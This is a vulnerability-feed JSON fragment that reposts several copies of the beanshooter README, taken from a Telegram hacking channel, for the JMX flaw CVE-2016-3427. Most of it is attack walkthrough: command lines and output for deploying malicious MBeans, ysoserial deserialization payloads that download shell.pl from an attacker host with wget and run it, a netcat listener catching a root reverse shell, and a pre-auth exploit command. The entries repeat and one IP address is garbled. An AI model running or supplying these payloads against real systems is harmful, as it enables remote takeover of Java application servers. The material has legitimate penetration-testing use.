objects bound to e.g. localhost  Full JMXMP support with almost all available authentication options  ysoserial integration to test for insecure deserialization  CVE-2016-3427 detection  Autocompletion for bash  Vulnerable docker container to run tests against    \nCredits\n  The initial idea and also the initial codebase of the tool were taken from this blogpost (https://www.optiv.com/blog/exploiting-jmx-rmi).  For the JMXMP implementation, this project (https://github.com/felixoldenburg/jmxmp-lifecycle-listener) was really helpful.  Some functionalities were inspired by the mjet project (https://github.com/mogwailabs/mjet)    Copyright 2020, Tobias Neitzel and the beanshooter contributors.  \n\nDownload Beanshooter (https://github.com/qtc-de/beanshooter)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T22:00:06.160795Z"}, {"uuid": "c46feb31-6de7-43df-a9d5-8f781cbd75ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/17402", "content": "In case of authenticated JMX endpoints, it is pretty common that usage of MLet does not work, even with valid credentials.  The following listing shows an attempt to deploy a malicious MBean on an authenticated JMX endpoint:  [qtc@kali ~]$ beanshooter --ssl  172.18.0.2 9010 status\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... failed!\n[*]\n[-] The following exception was thrown: java.lang.SecurityException: Authentication failed! Credentials required\n[qtc@kali ~]$ beanshooter --ssl  --username controlRole --password control 172.18.0.2 9010 status\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConnection... done!\n[+]\n[+] Getting Status of MLet... done!\n[+] MLet is not registered on the JMX server.\n[+] Getting Status of malicious Bean... done!\n[+] malicious Bean is not registered on the JMX server.\n[qtc@kali ~]$ beanshooter --ssl  --username controlRole --password control 1   72.18.0.2 9010 deployAll\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConnection... done!\n[+]\n[+] Creating MBean 'MLet' for remote deploymet... failed!\n[-] The following exception was thrown: java.lang.SecurityException: Access denied! Creating an MBean that is a ClassLoader is forbidden unless a security manager is installed.  In these cases it might still be possible to attack the JMX endpoint by using deserialization attacks. To allow such attacks, the ysoserial (https://github.com/frohoff/ysoserial)  project can be integrated to beanshooter by specifying the path to the corresponding ysoserial .jar file. This can be configured either in the configuration file or by using the  --yso command line option. The default location is /opt/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar.  With ysoserial setup correctly, one can attempt a deserialization (https://www.kitploit.com/search/label/Deserialization) attack against the target:  [qtc@kali ~]$ beanshooter --ssl --username controlRole --password control 172.18.0.2 9010 ysoserial CommonsCollections6 \"wget -O /dev/shm/s.pl http://172.18.0.1:8000/shell.pl\"\n[+] Creating ysoserial payload...done.\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConnection... done!\n[+]\n[+] Sending payload to 'getLoggerLevel'...\n[+]     IllegalArgumentException. This is fine :) Payload probably worked.\n[qtc@kali ~]$ beanshooter --ssl --username controlRole --password control 172.18.0.2 9010 ysoserial CommonsCollections6 \"perl /dev/shm/s.pl\"\n[+] Creating ysoserial payload...done.\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConn   ection... done!\n[+]\n[+] Sending payload to 'getLoggerLevel'...\n[+]     IllegalArgumentException. This is fine :) Payload probably worked.\n\n[qtc@kali ~]$ nc -vlp 4444\nNcat: Version 7.80 ( https://nmap.org/ncat )\nNcat: Listening on :::4444\nNcat: Listening on 0.0.0.0:4444\nNcat: Connection from 172.18.0.2.\nNcat: Connection from 172.18.0.2:45994.\nid\nuid=0(root) gid=0(root) groups=0(root)  Older JMX instances might also be vulnerable to CVE-2016-3427, which is basically a pre-auth deserialization vulnerability.  Whereas the above deserialization attack should work against the RMI based connector as well as against JMXMP based connector,  the pre-auth attack only works against the RMI based connector:  [qtc@kali ~]$ beanshooter --ssl 172.18.0.2 9010 cve-2016-3427 CommonsCollections6 \"perl /dev/shm/s.pl\"\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T22:00:06.209363Z"}, {"uuid": "5b624ac5-f09a-4b34-9fd3-c353a9770654", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/17397", "content": "IntroductionJMX stands for Java Management Extensions and can be used to monitor and configure the Java Virtual Machine  from remote. Applications like tomcat or JBoss are often installed together with a JMX instance, which  enables server administrators to monitor and manage the corresponding application.  JMX uses so called MBeans for monitoring and configuration tasks. The JMX agent (sever, port) is basically  just an interface, that handles remote connections and supports methods to communicate with the underlying  MBean objects. The actual functionality is then implemented in the MBean itself and the JMX agent only relays  input and output to the MBean object.  By default, JMX endpoints support a MBean with name MLet. This MBean can be used to deploy new MBeans on the  JMX agent. The codebase for these new MBean objects can be obtained over the network e.g. in form of a  HTTP request. Using the MLet feature, attackers with access to a JMX agent can easily deploy their own  malicious MBean objects and compromise the underlying application server.  Beanshooter is a Proof-of-Concept tool, that can be used to identify vulnerable endpoints. It works for unauthenticated JMX  endpoints as well as for authenticated ones (assumed you have valid credentials and sufficient permissions). Furthermore,  it can be used to test other vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) like insecure Java Deserialization or CVE-2016-3427. Also connections  using the JMXMP protocol are supported.  \nInstallation\n  Beanshooter is a Maven project. This makes the installation a straight forward process and no manual installation of libraries  should be required. First of all, make sure that you have maven installed on your system:  $ sudo apt install maven      # Debian\n$ pacman -s maven             # Arch  Then, clone the beanshooter project in a location of your choice and run mvn package inside of the projects folder.  -------------------  [INFO] Building beanshooter 2.0.0  [INFO] --------------------------------[ jar ]---------------------------------  [...]  \">[qtc@kali opt]$ git clone https://github.com/qtc-de/beanshooter\n[qtc@kali opt]$ cd beanshooter\n[qtc@kali beanshooter]$ mvn package\n[INFO] Scanning for projects...\n[INFO] \n[INFO] -------------------< de.qtc.Beanshooter:beanshooter >-------------------\n[INFO] Building beanshooter 2.0.0\n[INFO] --------------------------------[ jar ]---------------------------------\n[...]  Since the main purpose of beanshooter is the deployment of MBean objects, you need also a corresponding MBean.  Theoretically you can deploy any MBean that fulfills the MBean specifications. However, this project does also provide a reference  implementation, the tonka-bean (https://github.com/qtc-de/beanshooter/blob/master/tonka-bean). The tonka-bean is a separate maven project and you can compile it in the same way as  you compiled beanshooter:  ---------------------  [INFO] Building tonka-bean 1.0.0  [INFO] --------------------------------[ jar ]---------------------------------  [INFO]  [...]  \">[qtc@kali beanshooter]$ cd tonka-bean/\n[qtc@kali tonka-bean]$ mvn package\n[INFO] Scanning for projects...\n[INFO]\n[INFO] --------------------< de.qtc.TonkaBean:tonka-bean >---------------------\n[INFO] Building tonka-bean 1.0.0\n[INFO] --------------------------------[ jar ]---------------------------------\n[INFO]\n[...]  After maven has finished, you should find the executable .jar files in the target folders of the corresponding projects.  Notice, that beanshooter needs to know where the tonka-bean.jar file is located. If you have placed beanshooter  inside of your /opt folder, this should work automatically. Otherwise, you need to specify the path by using a  configuration file or the corresponding command line options.  [qtc@kali opt]$ ls -l beanshooter/target/beanshooter.jar \n-rw-r--r-- 1 qtc qtc 314856 Sep 16 07:55 beanshooter/target/beanshooter.jar\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T22:00:06.276945Z"}, {"uuid": "6fc3b90b-109a-4b4d-b74b-eb9139b6ba1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/17403", "content": "[+] Creating ysoserial payload...done.\n[+] cve-2016-3427 - Sending serialized Object as credential.\n[+]     An exception during the connection attempt is expected.\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... failed!\n[*]\n[*] Caught SecurityException with content 'Authentication failed! Credentials should be String[] instead of java.util.HashSet'.\n[*]     Target is most likely vulnerable to cve-2016-3427.\n\n[qtc@kali ~]$ nc -vlp 4444\nNcat: Version 7.80 ( https://nmap.org/ncat )\nNcat: Listening on :::4444\nNcat: Listening on 0.0.0.0:4444\nNcat: Connection from 172.18.0.2.\nNcat: Connection from 172.18.0.2:46000.\nid\nuid=0(root) gid=0(root) groups=0(root)  \nAdvanced Usage\n  Above it was already mentioned that beanshooter can read options from a configuration file. Options that would require long values,  like the name of the MBean class or the corresponding ObjectName can only be passed inside of the configuration file.  The following snipped shows you the default configuration file that is used by beanshooter internally:  defaultCmd=id\nstagerPort=8080\nstagerHost=127.0.0.1\n\nusername=\npassword=\nboundName=jmxrmi\n\njarPath=/opt/beanshooter/tonka-bean/target/\njarName=tonka-bean.jar\n\nysoserial=/opt/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar\n\nmLetName=DefaultDomain:type=MLet\nbeanClass=de.qtc.tonkabean.TonkaBean\nobjectName=MLetTonkaBean:name=TonkaBean,id=1  It is possible to overwrite each option by specifying a custom configuration file using the --config parameter. The custom config file does not need to contain  all options. Options that are not present were simply set to the default value. If you want your custom configuration to apply for each usage of beanshooter, you  can also modify the config.properties (https://github.com/qtc-de/beanshooter/blob/master/src/config.properties) file inside of the src (https://github.com/qtc-de/beanshooter/blob/master/src) folder before compiling the project.  In situations where the targeted server cannot access your host because of restrictive firewall rules, you may be able to use the --remote-stager option to specify a remote stager host.  If you have access to the remote-stager, you can also use beanshooter to deploy the MBean by using the --stager-only option, which only spawns the HTTP listener. When using this option,  no additional command line parameters are required. However, on your attacking machine you still need to specify the correct --stager-host, either by using command line options or a  configuration file.  \nWhy beanshooter\n  Here are some of the advantages why you may choose beanshooter in favor of other JMX scanning solutions:    Full SSL support for JMX objects and the rmiregistry  Automatic redirection for objects bound to e.g. localhost  Full JMXMP support with almost all available authentication options  ysoserial integration to test for insecure deserialization  CVE-2016-3427 detection  Autocompletion for bash  Vulnerable docker container to run tests against    \nCredits\n  The initial idea and also the initial codebase of the tool were taken from this blogpost (https://www.optiv.com/blog/exploiting-jmx-rmi).  For the JMXMP implementation, this project (https://github.com/felixoldenburg/jmxmp-lifecycle-listener) was really helpful.  Some functionalities were inspired by the mjet project (https://github.com/mogwailabs/mjet)    Copyright 2020, Tobias Neitzel and the beanshooter contributors.  \n\nDownload Beanshooter (https://github.com/qtc-de/beanshooter)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:10.982145Z"}, {"uuid": "bc896416-7729-442c-9c28-24cd549b26d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/17402", "content": "In case of authenticated JMX endpoints, it is pretty common that usage of MLet does not work, even with valid credentials.  The following listing shows an attempt to deploy a malicious MBean on an authenticated JMX endpoint:  [qtc@kali ~]$ beanshooter --ssl  172.18.0.2 9010 status\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... failed!\n[*]\n[-] The following exception was thrown: java.lang.SecurityException: Authentication failed! Credentials required\n[qtc@kali ~]$ beanshooter --ssl  --username controlRole --password control 172.18.0.2 9010 status\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConnection... done!\n[+]\n[+] Getting Status of MLet... done!\n[+] MLet is not registered on the JMX server.\n[+] Getting Status of malicious Bean... done!\n[+] malicious Bean is not registered on the JMX server.\n[qtc@kali ~]$ beanshooter --ssl  --username controlRole --password control 1   72.18.0.2 9010 deployAll\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConnection... done!\n[+]\n[+] Creating MBean 'MLet' for remote deploymet... failed!\n[-] The following exception was thrown: java.lang.SecurityException: Access denied! Creating an MBean that is a ClassLoader is forbidden unless a security manager is installed.  In these cases it might still be possible to attack the JMX endpoint by using deserialization attacks. To allow such attacks, the ysoserial (https://github.com/frohoff/ysoserial)  project can be integrated to beanshooter by specifying the path to the corresponding ysoserial .jar file. This can be configured either in the configuration file or by using the  --yso command line option. The default location is /opt/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar.  With ysoserial setup correctly, one can attempt a deserialization (https://www.kitploit.com/search/label/Deserialization) attack against the target:  [qtc@kali ~]$ beanshooter --ssl --username controlRole --password control 172.18.0.2 9010 ysoserial CommonsCollections6 \"wget -O /dev/shm/s.pl http://172.18.0.1:8000/shell.pl\"\n[+] Creating ysoserial payload...done.\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConnection... done!\n[+]\n[+] Sending payload to 'getLoggerLevel'...\n[+]     IllegalArgumentException. This is fine :) Payload probably worked.\n[qtc@kali ~]$ beanshooter --ssl --username controlRole --password control 172.18.0.2 9010 ysoserial CommonsCollections6 \"perl /dev/shm/s.pl\"\n[+] Creating ysoserial payload...done.\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConn   ection... done!\n[+]\n[+] Sending payload to 'getLoggerLevel'...\n[+]     IllegalArgumentException. This is fine :) Payload probably worked.\n\n[qtc@kali ~]$ nc -vlp 4444\nNcat: Version 7.80 ( https://nmap.org/ncat )\nNcat: Listening on :::4444\nNcat: Listening on 0.0.0.0:4444\nNcat: Connection from 172.18.0.2.\nNcat: Connection from 172.18.0.2:45994.\nid\nuid=0(root) gid=0(root) groups=0(root)  Older JMX instances might also be vulnerable to CVE-2016-3427, which is basically a pre-auth deserialization vulnerability.  Whereas the above deserialization attack should work against the RMI based connector as well as against JMXMP based connector,  the pre-auth attack only works against the RMI based connector:  [qtc@kali ~]$ beanshooter --ssl 172.18.0.2 9010 cve-2016-3427 CommonsCollections6 \"perl /dev/shm/s.pl\"\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:11.028429Z"}, {"uuid": "76e051f7-27c1-455e-b6b2-ee82f54590c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/17397", "content": "IntroductionJMX stands for Java Management Extensions and can be used to monitor and configure the Java Virtual Machine  from remote. Applications like tomcat or JBoss are often installed together with a JMX instance, which  enables server administrators to monitor and manage the corresponding application.  JMX uses so called MBeans for monitoring and configuration tasks. The JMX agent (sever, port) is basically  just an interface, that handles remote connections and supports methods to communicate with the underlying  MBean objects. The actual functionality is then implemented in the MBean itself and the JMX agent only relays  input and output to the MBean object.  By default, JMX endpoints support a MBean with name MLet. This MBean can be used to deploy new MBeans on the  JMX agent. The codebase for these new MBean objects can be obtained over the network e.g. in form of a  HTTP request. Using the MLet feature, attackers with access to a JMX agent can easily deploy their own  malicious MBean objects and compromise the underlying application server.  Beanshooter is a Proof-of-Concept tool, that can be used to identify vulnerable endpoints. It works for unauthenticated JMX  endpoints as well as for authenticated ones (assumed you have valid credentials and sufficient permissions). Furthermore,  it can be used to test other vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) like insecure Java Deserialization or CVE-2016-3427. Also connections  using the JMXMP protocol are supported.  \nInstallation\n  Beanshooter is a Maven project. This makes the installation a straight forward process and no manual installation of libraries  should be required. First of all, make sure that you have maven installed on your system:  $ sudo apt install maven      # Debian\n$ pacman -s maven             # Arch  Then, clone the beanshooter project in a location of your choice and run mvn package inside of the projects folder.  -------------------  [INFO] Building beanshooter 2.0.0  [INFO] --------------------------------[ jar ]---------------------------------  [...]  \">[qtc@kali opt]$ git clone https://github.com/qtc-de/beanshooter\n[qtc@kali opt]$ cd beanshooter\n[qtc@kali beanshooter]$ mvn package\n[INFO] Scanning for projects...\n[INFO] \n[INFO] -------------------< de.qtc.Beanshooter:beanshooter >-------------------\n[INFO] Building beanshooter 2.0.0\n[INFO] --------------------------------[ jar ]---------------------------------\n[...]  Since the main purpose of beanshooter is the deployment of MBean objects, you need also a corresponding MBean.  Theoretically you can deploy any MBean that fulfills the MBean specifications. However, this project does also provide a reference  implementation, the tonka-bean (https://github.com/qtc-de/beanshooter/blob/master/tonka-bean). The tonka-bean is a separate maven project and you can compile it in the same way as  you compiled beanshooter:  ---------------------  [INFO] Building tonka-bean 1.0.0  [INFO] --------------------------------[ jar ]---------------------------------  [INFO]  [...]  \">[qtc@kali beanshooter]$ cd tonka-bean/\n[qtc@kali tonka-bean]$ mvn package\n[INFO] Scanning for projects...\n[INFO]\n[INFO] --------------------< de.qtc.TonkaBean:tonka-bean >---------------------\n[INFO] Building tonka-bean 1.0.0\n[INFO] --------------------------------[ jar ]---------------------------------\n[INFO]\n[...]  After maven has finished, you should find the executable .jar files in the target folders of the corresponding projects.  Notice, that beanshooter needs to know where the tonka-bean.jar file is located. If you have placed beanshooter  inside of your /opt folder, this should work automatically. Otherwise, you need to specify the path by using a  configuration file or the corresponding command line options.  [qtc@kali opt]$ ls -l beanshooter/target/beanshooter.jar \n-rw-r--r-- 1 qtc qtc 314856 Sep 16 07:55 beanshooter/target/beanshooter.jar\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:11.076578Z"}]}